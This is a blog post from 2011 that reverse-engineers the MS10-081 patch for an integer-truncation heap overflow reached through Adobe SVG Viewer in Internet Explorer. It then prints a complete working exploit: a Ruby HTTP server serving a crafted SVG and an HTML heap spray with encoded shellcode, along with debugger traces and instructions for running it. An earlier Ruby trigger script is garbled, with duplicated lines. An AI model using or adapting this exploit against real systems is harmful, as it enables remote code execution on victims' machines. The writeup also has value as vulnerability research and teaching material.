Jan 10, 2011

From Patch to Proof-of-Concept: MS10-081

by Alexander Karstens


In this blog post, I'm going to talk about some fun I had reversing and making an exploit for a recent Microsoft patch, as well as some things I learned along the way. First we'll look at how I reverse-engineered the patch to understand the vuln, then we'll go through the proof-of-concept exploit for the vuln. At the end of the post is a screencast that shows you how to execute the exploit for yourself.

Understanding the Vuln

Like most people do before launching into a project, I started by gathering as much info as I could about it. Working from with the basics on Microsoft's MS10-081 bulletin page, I found out that the vulnerability in question is a heap overflow involving a third-party Scalable Vector Graphics (SVG) plugin for Internet Explorer. After more searching, I came across h07's web site (the discoverer), and found out through the original advisory with Secunia that the third-party plugin is the unmaintained Adobe SVG Viewer plugin, and that the actual problem is something h07 called "integer truncation." Armed with that info, I moved on to reversing the patch.

After downloading the MS10-081 patch for Windows XP SP3, I extracted the patch contents by running:

C:\Documents and Settings\testing\Desktop\KB.exe /extract:after

I then searched for the current (unfixed) version of the dll by running:

C:\>dir /s /b comctl32.dll

After figuring out which comctl32 dlls to compare, I used BinDiff on them and came up with this as the visual diff for the SBGetText changed function. (Click through for a larger version of the screenshot.)

BinDiff dll

At addresses 773de3a1-773de3a8, you can see an extra check was added that does something like this:

max_len = 0xfffe;
if (length > max_len) {
	length = max_len;
}

Also notice that the length (esi) is the result of a call to lstrlenA:

.text:773DE37E                 call    ds:__imp__lstrlenA@4 ; lstrlenA(x)
.text:773DE384                 cmp     edi, 0FFFFFFFFh
.text:773DE387                 mov     esi, eax

So, how do we get to that function? Turns out that you'll hit that function naturally, without even using Adobe's SVG Viewer. Setting a breakpoint on comctl32!SBGetText and looking at the back-trace gives us this:

0:000> k
ChildEBP RetAddr  
0013d190 773dec1e comctl32!SBGetText
0013d21c 7e418734 comctl32!StatusWndProc+0x703
0013d248 7e418816 USER32!InternalCallWinProc+0x28
0013d2b0 7e42927b USER32!UserCallWinProcCheckWow+0x150
0013d2ec 7e4292e3 USER32!SendMessageWorker+0x4a5
0013d30c 7e2c6aa2 USER32!SendMessageW+0x7f
0013d334 75f886e9 SHDOCVW!CBaseBrowser2::SendControlMsg+0x9a
0013d354 75f9d3de BROWSEUI!CCommonBrowser::SendControlMsg+0x23
0013d380 7e2b436d BROWSEUI!CShellBrowser2::SendControlMsg+0x21
0013e414 75fb320e SHDOCVW!CBaseBrowser2::SetStatusTextSB+0x7c
0013e424 7e2b4a1e BROWSEUI!CCommonBrowser::SetStatusTextSB+0x17
0013e434 7e2b49e5 SHDOCVW!CDocObjectHost::_SetStatusText+0x34
0013e440 7dc9dd12 SHDOCVW!CDocObjectFrame::SetStatusText+0x13
0013e44c 7dc9dc3e mshtml!CDoc::UpdateStatusText+0x3f
0013e478 7dc9dbe8 mshtml!CDoc::UpdateLoadStatusUI+0x4a
0013e48c 7dc9ea63 mshtml!CDoc::SetProgress+0xc2
0013e8e4 7dc9e7a5 mshtml!CProgSink::DoUpdate+0x4ea
0013e8f4 7dc9cb3b mshtml!CProgSink::OnMethodCall+0xf
0013e928 7dc98937 mshtml!GlobalWndOnMethodCall+0x66
0013ea5c 7e418734 mshtml!GlobalWndProc+0x1e2

From the backtrace, it looks like this has something to do with the status bar in IE. However, none of those functions are in any of the Adobe dlls. Just to confirm my suspicions, I set some breakpoints on the two calls to strlen in comctl32!SBGetText to see which strings were being strlen'd:

Downloading from site: http://192.168.56.1/ms10_081/test.html
Done

As you can see, the strings being handled here are the same ones you'd see in the status bar in IE.

My first thought after confirming that this dealt with the status bar was that I had to get the SVG viewer to display a status message that I could control. I had no luck with valid SVGs, so I thought maybe if I have an invalid SVG, I might get the plugin to display an error message in the status. My first attempt used an SVG with mismatched tags:

<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink">

    <rect height="100" width="100" style="stroke:#ff0000; fill: #000000">
    </BLAH>
</svg>

The invalid SVG gave me this status:

Error status

My next thought was to see if there were any other status messages I might be able to have more control over. I was also keeping in mind that I would probably have to be able to set the status text to a length greater than 0xfffe. I used the strings utility from sysinternals to find the string that created the status message above:

C:\Program Files\Common Files\Adobe\SVG Viewer 3.0>strings -n 10 *.dll | find "mismatched"
C:\Program Files\Common Files\Adobe\SVG Viewer 3.0\SVGCore.dll: $$$/Error/XML_ERROR_TAG_MISMATCH=mismatched tag
C:\Program Files\Common Files\Adobe\SVG Viewer 3.0\SVGCore.dll: mismatched tag

Based on the first result, it looks like I should be able to find other status messages by searching for "$$$":

C:\Program Files\Common Files\Adobe\SVG Viewer 3.0>strings -n 10 SVGCore.dll | find "$$$"
$$$/String/Windows/IDS_WIN_DEFAULT_FONT_ASCII_NAME=ArialMT
$$$/MenuItems/Windows/ID_MENUITEM_ABOUT=A&bout Adobe SVG Viewer...
$$$/MenuItems/Windows/ID_MENUITEM_HELP=&Help
$$$/MenuItems/Windows/ID_MENUITEM_SAVEAS=&Save SVG As...
$$$/MenuItems/Windows/ID_MENUITEM_VIEW_SOURCE=&View Source
$$$/MenuItems/Windows/ID_MENUITEM_VIEW=View SV&G
$$$/MenuItems/Windows/ID_MENUITEM_COPY=&Copy SVG
$$$/MenuItems/Windows/ID_MENUITEM_COPY_SELECTED_TEXT=&Copy Selected Text
...
$$$/String/Shared/VersionString=^1^2, Build
$$$/String/Shared/INVALID_SCRIPT_TYPE=Invalid script type: '^1', try 'text/javascript'

Most of the results don't look helpful, but some of them have "^1" and "^2" in them, which look similar to printf() style format specifiers. Searching for those gave me this:

C:\Program Files\Common Files\Adobe\SVG Viewer 3.0>strings -n 10 SVGCore.dll | find "^1"
$$$/String/Shared/SVG_HELP_URL_ROOT=http://www.adobe.com/svg/viewer/help/^1/^2/^3/help.html
$$$/String/Shared/VersionString=^1^2, Build
$$$/String/Shared/INVALID_SCRIPT_TYPE=Invalid script type: '^1', try 'text/javascript'
$$$/Error/CSS_BadStyleSheetPlusParam=unable to parse CSS style sheet: ^1
$$$/Error/Transform_BadData=bad data at end of transform: '^1'
$$$/Error/Transform_UnkPrimTrans=unknown primitive transformation '^1'
$$$/Error/Transform_BadParams=^1() accepts 1 parameter
$$$/Error/SVGDocument_LineAndColumn=^1: line ^2, column ^3
$$$/SVGDOM/PathData_NamedEltPlusParam=element '^1': ^2
$$$/SVGDOM/PolyData_NamedEltTagParam=<^1> element '^2': ^3
$$$/Error/PolyData_OddNumOfCoords=odd number of <^1> coordinates
$$$/Error/PolyData_BadData=bad <^1> data '^2'
$$$/Error/EmbeddedFont_InvalidFont=Invalid CEF font: ^1
$$$/Error/PathData_BadParam=path data command '^1' bad or missing parameter(s)
$$$/Error/PathData_UnkPathDataCmd=unknown path data command '^1'

Most of these look like they should be messages that I can directly control from the SVG. I chose to use the "unknown primitive transformation" error message to try and create a status message with a length greater than 0xfffe:

#!/usr/bin/env ruby

svg = <<-SVG
#!/usr/bin/env ruby

svg = <<-SVG
<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink">

    <rect height="100" width="100" style="stroke:#ff0000; fill: #000000"
			transform="BLAH(10)">
    </rect>
</svg>
SVG

svg.gsub!("BLAH", "A" * 65535)

File.open('test.svg', "w"){|f| f.write svg }

Opening the resulting SVG in IE gave me a crash:

0:000> g
(10c.480): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=7e4188a6 ecx=00180041 edx=001bb000 esi=001fb3c4 edi=0000f000
eip=773d48de esp=0013e3e8 ebp=0013e3ec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
comctl32!StringCopyWorkerW+0x22:
773d48de 66890a          mov     word ptr [edx],cx        ds:0023:001bb000=????

Armed with a simple SVG that would trigger the vulnerability, I set about trying to more fully understand it. I found that, with the SVG from my Ruby script above, the call to strlen at 0x773de357 returns a length of 0x10022, which is then stored into esi. Later, si is moved to ecx, zero extended, essentially AND'ing the string length with 0xffff, which causes the string length to be 0x22 instead of 0x10022. This is probably what h07 meant by "integer truncation":

// comctl32!SBGetText

773de357 ff1524123d77    call    comctl32!_imp__lstrlenW
773de35d 8bf0            mov     esi,eax ; (0x10022)
...
773de3ca 0fb7ce          movzx   ecx,si  ; ecx = 0x22
773de3cd c1e010          shl     eax,10h ; eax was always 0 for me
773de3d0 0bc1            or      eax,ecx ; eax = 0x22
...
773de3d6 5f              pop     edi
773de3d7 5e              pop     esi
773de3d8 5d              pop     ebp
773de3d9 c21400          ret     14h

The string length 0x22 is the return value for several functions. Eventually, this length (0x22) is used to allocate a new string in the function SHDOCVW!CIEFrameAuto::get_StatusText:

// SHDOCVW!CIEFrameAuto::get_StatusText

7e302012 ff450c          inc     dword ptr [ebp+0Ch]     ; 0x22 + 1 = 0x23
7e302015 0fb7450c        movzx   eax,word ptr [ebp+0Ch]
7e302019 40              inc     eax                     ; 0x23 + 1 = 0x24
7e30201a 50              push    eax
7e30201b 57              push    edi
7e30201c e8e72b0600      call    SHDOCVW!SysAllocStringLen (7e364c08)

The call to SysAllocStringLen returns the address of the newly allocated string. This same string is later passed into SBGetText, and all 0x10022 wchars (unicode) are copied into it, resulting in a heap overflow:

// comctl32!SBGetText

773de34d ff7514          push    dword ptr [ebp+14h] ; full string
773de350 56              push    esi                 ; under-allocated string
773de351 e8af65ffff      call    comctl32!StringCchCopyW

The overall call-trace looks something like this:

SVGCore+0x3570
 SVGCore+0x3442
  SVGCore+0x3189
   SVGCore+0x5bdc
    SVGCore!SOMPackageGetEntryPoints+0x8342
     SVGCore!SOMPackageGetEntryPoints+0x6507
      SVGCore+0x7651
       NPSVG3!NSGetFactory
        NPSVG3!NP_Shutdown
         NPSVG3!DllUnregisterServer
          SHDOCVW!CIEFrameAuto::get_StatusText
           BROWSEUI!CShellBrowser2::SendControlMsg
            BROWSEUI!CCommonBrowser::SendControlMsg
             SHDOCVW!CBaseBrowser2::SendControlMsg
              USER32!SendMessageW
               USER32!SendMessageWorker
                USER32!UserCallWinProcCheckWow
                 USER32!InternalCallWinProc
                  comctl32!StatusWndProc
                   comctl32!SBGetText                ; returns 0x22 for the length
                  comctl32!StatusWndProc    
                 USER32!InternalCallWinProc
                USER32!UserCallWinProcCheckWow
               USER32!SendMessageWorker
              USER32!SendMessageW
             SHDOCVW!CBaseBrowser2::SendControlMsg
            BROWSEUI!CCommonBrowser::SendControlMsg
           BROWSEUI!CShellBrowser2::SendControlMsg
          SHDOCVW!CIEFrameAuto::get_StatusText
           SHDOCVW!SysAllocStringLen                 ; allocates string with length of 0x24
           BROWSEUI!CShellBrowser2::SendControlMsg
            BROWSEUI!CCommonBrowser::SendControlMsg
             SHDOCVW!CBaseBrowser2::SendControlMsg
              USER32!SendMessageW
               USER32!SendMessageWorker
                USER32!UserCallWinProcCheckWow
                 USER32!InternalCallWinProc
                  comctl32!StatusWndProc
                   comctl32!SBGetText                ; copies full status text into 0x24 byte string (heap overflow)

Also, sometime before the call-trace above, the status text is initially set to the full 0x10022 length string. The logic behind calling SBGetText twice doesn't really make sense to me, but that's what happens. The fix in the patch merely makes sure that comctl32!SBGetText never returns a length greater than 0xfffe.

Exploiting the Vuln

Below is my proof-of-concept (PoC) exploit. The exploit works for me on IE7 on XP SP3, although it may take a few tries. The default listening port for the script is 55555, although you can pass it a different one. Note that in order to get the status text to appear (and the overflow to occur), the mouse has to hover over the SVG:

#!/usr/bin/env ruby
 
# http://breakingpointsystems.com/resources/blog/microsoft-vulnerability-proof-of-concept
# Nephi Johnson

require 'socket'

def http_send(sock, data, opts={})
    defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"}
    opts = defaults.merge(opts)
    
    code = opts[:code]
    message = opts[:message]
    type = opts[:type]
    
    date_str = Time.now.gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT")
    headers = "HTTP/1.1 #{code} #{message}\r\n" +
              "Date: #{date_str}\r\n" +
              "Content-Length: #{data.length}\r\n" +
              "Content-Type: #{type}\r\n\r\n"
    puts "[+] Sending #{opts[:desc]}"
    sock.write(headers + data) rescue return false
    return true
end
 
def sock_read(sock, out_str, timeout=5)
    begin
        if Kernel.select([sock],[],[],timeout)
            out_str.replace(sock.recv(1024))
            puts "[+] Received:"
            puts "    " + out_str.split("\n")[0]
            return true
        else
            sock.close
            return false
        end
    rescue Exception => ex
        return false
    end
end

port = ARGV[0] || 55555

transform_name = "\x21" * 65535

svg = <<-SVG
<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg xmlns="http://www.w3.org/2000/svg"
    xmlns:xlink="http://www.w3.org/1999/xlink">

    <rect x="50" y="50" height="110" width="110"
          style="fill: #ffffff"
          transform="#{transform_name}(10) translate(30) rotate(45 50 50)"
            >
    </rect>
    <text x="100" y="100">CLICK ME</text>
</svg>
SVG

html = <<-HTML
<html>
    <body>
        <script>
            <!--
                function str_dup(str, length) {
                    var result = str;
                    while(result.length < length) {
                        result += result;
                    }
                    return result.substr(result.length - length);
                }

                var shellcode = unescape("%u9000%u9090%u9090") +
                                // msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00"
                                unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" +
                                         "%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" +
                                         "%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" +
                                         "%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" +
                                         "%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" +
                                         "%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" +
                                         "%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" +
                                         "%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" +
                                         "%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" +
                                         "%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" +
                                         "%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" +
                                         "%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" +
                                         "%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" +
                                         "%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" +
                                         "%u7c96%u0e88");
                var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length);
                var arr = [];
                for(var i = 0; i < 2000; i++) {
                    arr[i] = document.createElement("a");
                    arr[i].innerHTML = [base + shellcode].join("");
                }
            -->
        </script>
        <iframe width="100%" height="100%" src="poc.svg" marginheight="0" marginwidth="0"></iframe>
    </body>
</html>
HTML

puts "[+] Listening on port #{port}"
puts

TCPServer.open(port) do |srv|
    while true
        cli = srv.accept
        req = ""
        next unless sock_read(cli, req, 5)
        while req.length > 0
            if req =~ /GET.*svg/i
                break unless http_send(cli, svg, :type=>"image/svg+xml", :desc=>"svg")
            elsif req =~ /QUIT/
                exit()
            else
                break unless http_send(cli, html, :type=>"text/html", :desc=>"html")
            end
            req = ""
            next unless sock_read(cli, req, 5)
        end
        cli.close rescue next
    end
end

My PoC is quite simple and works as follows:

  1. Heap-spray to try and get self-referential nops at 0x00210021
  2. Overflow data on the heap with \x2100 * 65535
  3. Cause objects on the heap to use corrupted pointers to vtables to call 0x00210021

1 - Heap Spray

As with my previous post, this exploit also uses a heap spray. You might notice, however, that it specifically targets the address 0x00210021. It's not really what I wanted to do, but it works for this example. I'm targeting this address with the heap spray because of the character restrictions placed on what will make it into the unicode status text.(Remember the unicode status text comes from the SVG, not the heap-spray.) The rules I found for the status text are:

  1. Must be greater than 0x20 (space)
  2. Must be printable
  3. Cannot terminate the current transform property (no =, ', or ")

While trying to get any type of heap spray into the lower addresses that are unicode-like (0x00xx00xx), I found it was easiest to assign my heap spray values to the innerHTML of some html elements. These seemed to have a much higher chance of making it into unicode-like ranges than a normal heap spray that uses strings. This also adversely affected the acceptable characters for shellcode, since null-bytes aren't allowed as the innerHTML of an element in IE7+ (they are in IE6, though). A quick pipe through msfencode fixed that problem.

Why 0x00210021 though? Originally, this was merely an address that the heap spray filled to somewhat consistently, although it also has the added benefit that it's essentially a nop:

00210021 2100            and     dword ptr [eax],eax
00210023 2100            and     dword ptr [eax],eax
00210025 2100            and     dword ptr [eax],eax
00210027 2100            and     dword ptr [eax],eax

This gets even nicer since eax is usually 0x00210021 when calls are made to 0x00210021:

0:012> g
Breakpoint 0 hit
eax=00210021 ebx=0438a9a8 ecx=00228918 edx=7e8f0ce3 esi=0438a980 edi=00000000
eip=00210021 esp=01fbf9e0 ebp=01fbf9f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
+0x210020:
00210021 2100 and dword ptr [eax],eax ds:0023:00210021=00210021

2 - Overflow

This is the simplest part, and I've probably talked about this enough above.

3 - Use corrupted pointers in memory

I actually didn't have to do anything to cause this step to happen. This happens at about the same time and probably for the same reason that the status text from Adobe's SVG Viewer gets displayed: the mouse moves over the SVG control, events happen that cause the status text to be updated (and the overflow to occur), and then further events cause invalid pointers on the heap to be used. Below is an example of a corrupted pointer to a vtable leading to a call to 0x00210021.

Breakpoint at 0x00210021 being hit:

0:017> g
Breakpoint 0 hit
eax=00210021 ebx=043b11a8 ecx=00226380 edx=7e8f0ce3 esi=043b1180 edi=00000000
eip=00210021 esp=01fbf9e0 ebp=01fbf9f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
<Unloaded_lder.dll>+0x210020:
00210021 2100            and     dword ptr [eax],eax  ds:0023:00210021=00210021

The call stack:

0:005> k
ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
01fbf9dc 7e8ea46e <Unloaded_lder.dll>+0x210020
01fbf9e0 7eb0accd mshtml!CElement::Doc+0x7
01fbf9f4 7eb1534e mshtml!COleSite::IllegalSiteCall+0xf
01fbfa0c 5301a952 mshtml!COleSite::CClient::QueryInterface+0x22
01fbfa4c 53004fdd NPSVG3!DllUnregisterServer+0x781d
01fbfa8c 5300c241 NPSVG3!NP_Shutdown+0x275c
01fbfacc 531f7651 NPSVG3!NSGetFactory+0x6a5c
01fbfb38 53209113 SVGCore+0x7651
01fbfbb0 5320af4e SVGCore!SOMPackageGetEntryPoints+0x6507
01fbfbf8 531f5bdc SVGCore!SOMPackageGetEntryPoints+0x8342
01fbfc28 531f3189 SVGCore+0x5bdc
01fbfc98 531f3442 SVGCore+0x3189
01fbfcf0 531f3570 SVGCore+0x3442
01fbfd18 5300e890 SVGCore+0x3570
01fbfd68 5300ac4d NPSVG3!NSGetFactory+0x90ab
01fbfda0 5301dac2 NPSVG3!NSGetFactory+0x5468
01fbfdd8 53013898 NPSVG3!DllUnregisterServer+0xa98d
01fbfe00 53015be7 NPSVG3!DllUnregisterServer+0x763
01fbfe48 7e418734 NPSVG3!DllUnregisterServer+0x2ab2
01fbfe74 7e418816 USER32!InternalCallWinProc+0x28

Instructions that made call to 0x00210021:

mshtml!CElement::Doc:
7e8ea467 8b01            mov     eax,dword ptr [ecx]      ; ecx = 00226380
                                                          ; memory at 00226380:
                                                          ;     00226380 00210021 <Unloaded_lder.dll>+0x210020
                                                          ; eax = 00210021
                                                          ;
7e8ea469 8b5034          mov     edx,dword ptr [eax+34h]  ; memory at eax+34h (210055):
                                                          ;        00210055 00210021 <Unloaded_lder.dll>+0x210020
                                                          ; edx = 00210021
                                                          ;
7e8ea46c ffd2            call    edx                      ; call 00210021

Thanks to virtual machine snapshots, this is what was at address 00226380 before it was overwritten with 00210021:

00226380 7e901778 mshtml!CMarkup::`vftable'

Looking at offset 0x34 from the start of that vtable, we can see that the function mshtml!CMarkup::SecurityContext was supposed to have been called, instead of calling 00210021:

                               BEFORE                                   |                       AFTER
                                                                        |
memory at: poi(226380)                                                  |memory at: poi(226380)
                                                                        |  
   0x0  7e901778 7e900e37 mshtml!CMarkup::PrivateQueryInterface         |   00210021 00210021 <Unloaded_lder.dll>+0x210020
   0x4  7e90177c 7e903de1 mshtml!CRuleStyle::PrivateAddRef              |   00210025 00210021 <Unloaded_lder.dll>+0x210020
   0x8  7e901780 7e903df7 mshtml!CBase::PrivateRelease                  |   00210029 00210021 <Unloaded_lder.dll>+0x210020
   0xc  7e901784 7e8d1547 mshtml!CMarkup::`scalar deleting destructor'  |   0021002d 00210021 <Unloaded_lder.dll>+0x210020
   0x10 7e901788 7e8ea01d mshtml!CHtmStyleParseCtx::Init                |   00210031 00210021 <Unloaded_lder.dll>+0x210020
   0x14 e90178c  7e8d1b10 mshtml!CMarkup::Passivate                     |   00210035 00210021 <Unloaded_lder.dll>+0x210020
   0x18 7e901790 7ea71649 mshtml!CBase::GetEnabled                      |   00210039 00210021 <Unloaded_lder.dll>+0x210020
   0x1c 7e901794 7ea71649 mshtml!CBase::GetEnabled                      |   0021003d 00210021 <Unloaded_lder.dll>+0x210020
   0x20 7e901798 7ea70f16 mshtml!CBase::GetPages                        |   00210041 00210021 <Unloaded_lder.dll>+0x210020
   0x24 7e90179c 7ea71371 mshtml!CBase::InterfaceSupportsErrorInfo      |   00210045 00210021 <Unloaded_lder.dll>+0x210020
   0x28 7e9017a0 7ea2d67a mshtml!CBase::QueryStatus                     |   00210049 00210021 <Unloaded_lder.dll>+0x210020
   0x2c 7e9017a4 7ea2d687 mshtml!CBase::Exec                            |   0021004d 00210021 <Unloaded_lder.dll>+0x210020
   0x30 7e9017a8 7e8f678f mshtml!CSelectLayout::IsFlowOrSelectLayout    |   00210051 00210021 <Unloaded_lder.dll>+0x210020
>> 0x34 7e9017ac 7e9086ed mshtml!CMarkup::SecurityContext               |>> 00210055 00210021 <Unloaded_lder.dll>+0x210020

Lessons Learned

The biggest lesson I learned from doing this is that there are always many ways to skin a cat. There are numerous ways to exploit a heap overflow and to heap spray at self-referential addresses. For example, a lot of people use some form of 0c0c0c0c when using heap sprays. In this case, 21002100 worked out perfectly. Also, instead of a typical string-based heap spray, assigning values to the innerHTML of elements was the best way I could find to heap-spray into unicode-like addresses.

Maybe needless to say, this was a fun one. If you want to see exactly how I implemented the exploit, check out the screencast below (or via this link at YouTube.) Enjoy!

Tags:
blog comments powered by Disqus